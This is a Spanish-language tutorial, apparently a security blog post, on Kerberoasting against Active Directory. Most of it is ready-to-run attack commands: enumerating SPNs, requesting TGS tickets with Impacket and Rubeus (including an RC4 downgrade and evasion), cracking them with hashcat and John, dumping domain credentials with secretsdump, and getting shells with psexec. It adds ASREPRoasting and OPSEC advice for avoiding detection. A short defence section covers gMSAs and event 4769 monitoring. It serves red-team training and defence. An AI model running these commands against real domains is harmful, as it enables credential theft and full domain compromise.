El Kerberoasting es una de las técnicas de escalación de privilegios más confiables en entornos Active Directory. Es silencioso, no requiere privilegios especiales para ejecutarse, y con frecuencia conduce al dominio administrador en cuestión de horas — porque las organizaciones rutinariamente asignan contraseñas débiles a las cuentas de servicio y nunca las rotan.

Esta guía cubre todo: cómo funciona Kerberos, por qué el ataque es posible, qué necesitas para ejecutarlo, y cómo los defensores lo detectan.

¿Qué Es el Kerberoasting?

El Kerberoasting apunta a cuentas de servicio en Active Directory que tienen un Service Principal Name (SPN) configurado. Cualquier usuario de dominio autenticado puede solicitar un ticket Ticket Granting Service (TGS) de Kerberos para cualquier SPN — y esos tickets están cifrados con el hash NTLM de la cuenta de servicio.

Solicitas el ticket. Te lo llevas offline. Lo crackeas.

No se requieren privilegios elevados. Sin tráfico sospechoso hacia la máquina objetivo. Solo una solicitud estándar de Kerberos que cualquier usuario de dominio puede hacer.

Fundamentos de Kerberos (Lo Relevante)

No necesitas memorizar toda la especificación de Kerberos. Esto es lo que importa para el Kerberoasting:

  1. AS-REQ / AS-REP — El cliente se autentica ante el KDC (Key Distribution Center). Obtiene un TGT (Ticket Granting Ticket) cifrado con el hash de krbtgt.
  2. TGS-REQ / TGS-REP — El cliente usa el TGT para solicitar un ticket de servicio para un SPN específico. El KDC responde con un TGS cifrado con el hash de contraseña de la cuenta de servicio.
  3. AP-REQ — El cliente presenta el TGS al servicio. El servicio lo descifra usando su propio hash de contraseña.

La vulnerabilidad: el paso 2 te entrega un blob cifrado con el hash NTLM de la cuenta de servicio. Nunca necesitas presentarlo al servicio. Puedes tomar ese blob y ejecutar un ataque de diccionario contra él localmente — rápido, offline, sin bloqueos de cuenta.

Qué Hace Vulnerable a un Objetivo

Tres condiciones crean una cuenta Kerberoasteable:

  1. SPN configurado — Cualquier cuenta de usuario de dominio con el atributo ServicePrincipalName
  2. Contraseña débil — Las cuentas de servicio suelen usar las mismas contraseñas durante años, configuradas por un sysadmin durante la instalación
  3. Cifrado RC4 permitido — Los tickets RC4 (etype 23) son más rápidos de crackear que AES-256. La mayoría de entornos aún soportan RC4 por compatibilidad

Cuentas de servicio comunes con SPNs: SQL Server, Exchange, pools de aplicaciones IIS, agentes de backup, servicios internos personalizados.

Prerrequisitos

  • Credenciales válidas de usuario de dominio (o una shell en cualquier máquina unida al dominio)
  • Acceso de red al controlador de dominio (TCP 88 — Kerberos)
  • Una GPU o instancia cloud para la fase offline

Eso es todo. Por esto el Kerberoasting aparece en casi cada engagement real.

Paso 1: Enumerar SPNs

Antes de poder roastear, necesitas encontrar cuentas que valgan la pena atacar.

Desde Linux — Impacket

# Instalar impacket si es necesario
pip3 install impacket

# Enumerar todos los SPNs del dominio
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123

El output muestra cada SPN, la cuenta asociada, y cuándo se cambió la contraseña por última vez. Enfócate en cuentas con fechas de contraseña antiguas — son los objetivos más débiles.

Desde Windows — PowerView

# Cargar PowerView
Import-Module .\PowerView.ps1

# Obtener todos los usuarios con SPNs
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, pwdlastset

Desde Windows — Nativo (setspn)

setspn -T CORP.LOCAL -Q */*

Esto lista todos los SPNs del dominio. Filtra por cuentas de usuario (las cuentas de máquina no son crackeables — sus contraseñas son 120 caracteres aleatorios que rotan automáticamente).

Paso 2: Solicitar Tickets TGS

Impacket — Solicitar y Guardar Hashes

# Solicitar tickets para todas las cuentas Kerberoasteables, output en formato hashcat
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 -request -outputfile kerberoast.hashes

El flag -request obtiene tickets TGS para cada cuenta con SPN. El -outputfile los guarda en un formato listo para hashcat.

Para apuntar a una cuenta específica:

GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 -request-user svc_sql -outputfile sql_hash.txt

Rubeus — Desde Windows

Rubeus es la opción nativa de Windows. Más opciones de evasión de detección, mejor OPSEC.

# Kerberoastear todas las cuentas, output en formato hashcat
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Apuntar a usuario específico
.\Rubeus.exe kerberoast /user:svc_sql /outfile:sql_hash.txt

# Downgrade a RC4 — fuerza tickets RC4 aunque la cuenta soporte AES (más rápido de crackear)
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:hashes.txt

El flag /tgtdeleg solicita tickets usando el truco de delegación TGT — evita enviar tu TGT directamente al KDC en ciertos escenarios y puede evadir algunos monitoreos.

PowerView — En Memoria

# Obtener todos los hashes en formato Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash

Paso 3: Crackear los Hashes

Los tickets TGS están en el modo 13100 de hashcat (Kerberos TGS-REP etype 23 — RC4).

Los tickets AES-256 usan el modo 19700 (etype 18) — significativamente más lentos.

Hashcat

# Tickets RC4 (más comunes)
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt

# Con reglas (muy recomendado — detecta patrones de contraseñas)
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Tickets AES-256
hashcat -m 19700 kerberoast.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Ataque combinado (wordlist + wordlist)
hashcat -m 13100 kerberoast.hashes -a 1 wordlist1.txt wordlist2.txt

John the Ripper

john kerberoast.hashes --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs

# Con reglas
john kerberoast.hashes --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 --format=krb5tgs

Velocidad de Crackeo Real

En una GPU moderna (RTX 4090):

  • RC4 (etype 23): ~1.2 mil millones de hashes/seg contra rockyou.txt — termina en segundos
  • AES-256 (etype 18): ~50 millones de hashes/seg — mucho más lento pero aún factible

La complejidad de la contraseña importa más que cualquier otra cosa. Verano2023! cae en menos de un minuto. Una contraseña aleatoria de 20 caracteres con símbolos no caerá.

Paso 4: Usar las Credenciales

Una vez crackeado, tienes credenciales en texto claro para la cuenta de servicio. Lo que hagas con ellas depende de los privilegios de la cuenta.

Rutas comunes de escalación de privilegios:

Cuenta de servicio con admin local en múltiples servidores:

# Probar acceso con CrackMapExec
crackmapexec smb 192.168.1.0/24 -u svc_sql -p 'ContraseñaCrackeada!' --local-auth

Cuenta de servicio en el grupo de administradores de dominio (desafortunadamente común):

# Volcar credenciales del dominio via secretsdump
secretsdump.py CORP.LOCAL/svc_sql:'ContraseñaCrackeada!'@192.168.1.10

# O obtener una shell
psexec.py CORP.LOCAL/svc_sql:'ContraseñaCrackeada!'@192.168.1.10 cmd.exe

Cuenta de servicio con derechos de delegación: Verifica si la cuenta tiene delegación sin restricciones o restringida configurada — eso abre rutas de ataque adicionales como el abuso de S4U2Self.

Kerberoasting Dirigido

En lugar de roastear todo y esperar que algo se crackee, los red teamers experimentados apuntan a cuentas específicas primero.

Perfila los mejores objetivos:

# Enumerar con antigüedad de contraseña — antigua = débil
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 | grep -v "^$"

Busca:

  • Contraseña cambiada por última vez: hace 2+ años
  • Campo de descripción mencionando “service” o “sql” — los admins suelen poner la contraseña en la descripción
  • Cuentas en grupos de alto privilegio (Domain Admins, Account Operators, Server Operators)
# Verificar membresías de grupo para cuentas SPN
Get-DomainUser -SPN | Get-DomainGroupMember -Recurse

Consideraciones de OPSEC

El Kerberoasting por defecto genera eventos 4769 (solicitud de ticket de servicio Kerberos). Un pico de estos eventos desde una sola fuente es una señal clara de detección.

Reducir el ruido:

  • Apunta a cuentas específicas en lugar de roastear todo
  • Espaciar las solicitudes — no solicites 50 tickets en 2 segundos
  • Usar el downgrade RC4 selectivamente — es en sí mismo una señal de detección en cuentas que soportan AES
  • Solicitar tickets desde un host ya comprometido en el entorno, no desde tu máquina de ataque
# Solicitud específica y única — mínima huella
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 -request-user svc_backup -outputfile target.txt

ASREPRoasting — El Ataque Relacionado

Si estás buscando SPNs, también verifica cuentas con la preautenticación deshabilitada. Estas son vulnerables al ASREPRoasting — puedes solicitar un blob cifrado sin siquiera tener credenciales.

# Encontrar cuentas con pre-auth deshabilitada y solicitar hashes AS-REP
GetNPUsers.py -dc-ip 192.168.1.10 CORP.LOCAL/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hashes

# Crackear con hashcat modo 18200
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Practicando en un Laboratorio Seguro

Necesitas un laboratorio Active Directory para practicar esto correctamente. Opciones:

  • Laboratorio en VPS: Despliega 2-3 VMs con Windows Server en Vultr o DigitalOcean — rentable, destruye cuando termines
  • Laboratorio local: VMs anidadas en VMware/VirtualBox si tienes suficiente RAM
  • HTB / TryHackMe: Máquinas AD preconfiguradas disponibles sin necesidad de configuración

El enfoque de VPS es el más realista — controlas todo el entorno, puedes introducir configuraciones incorrectas, y puedes practicar la cadena de ataque completa.

Defensa y Detección

Para defensores:

  1. Imponer contraseñas fuertes en cuentas de servicio — mínimo 25 caracteres, aleatorias. Usa MSAs (Managed Service Accounts) o gMSAs — las contraseñas rotan automáticamente y tienen 120 caracteres.

  2. Auditar asignaciones de SPN — Eliminar SPNs de cuentas que no los necesiten.

  3. Monitorear el Evento 4769 — Filtrar por:

    • Tipo de Cifrado del Ticket: 0x17 (RC4) de cuentas modernas que deberían usar AES
    • Múltiples eventos 4769 desde una sola fuente en una ventana corta

  4. Usar solo cifrado AES — Configura msDS-SupportedEncryptionTypes solo para AES. Las solicitudes de downgrade RC4 fallarán.

  5. Estaciones de Trabajo de Acceso Privilegiado (PAWs) — Reducir a qué puede acceder una cuenta de servicio comprometida.

# Encontrar cuentas Kerberoasteables con cifrado débil
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, msDS-SupportedEncryptionTypes, PasswordLastSet | 
  Select-Object Name, PasswordLastSet, msDS-SupportedEncryptionTypes, ServicePrincipalName

Resumen de Herramientas

HerramientaPlataformaUso
Impacket GetUserSPNs.pyLinuxEnumerar + solicitar tickets TGS
RubeusWindowsKerberoasting en memoria, opciones OPSEC
PowerViewWindowsEnumeración, búsqueda de SPNs
HashcatLinux/WindowsCrackeo de hashes offline
John the RipperLinuxCracker alternativo
CrackMapExec / NetExecLinuxMovimiento lateral post-crackeo

Conclusión

El Kerberoasting funciona porque abusa de una característica legítima de Kerberos — cualquier usuario de dominio puede solicitar tickets de servicio. El ataque requiere solo credenciales válidas, produce ruido mínimo, y frecuentemente lleva directamente al compromiso del dominio cuando las cuentas de servicio tienen contraseñas débiles.

Si estás haciendo un engagement de red team: enumera SPNs temprano. Apunta a cuentas con contraseñas antiguas y altos privilegios. Si eres defensor: audita tus SPNs, migra a gMSAs, y monitorea el evento 4769 para anomalías RC4.

La solución es simple. Solo que rara vez se implementa.

¿Necesitas ayuda práctica con simulaciones de ataques Active Directory o engagements de red team? CipherWrite ofrece contenido de seguridad y servicios de redacción técnica especializados para pentesters y equipos de seguridad.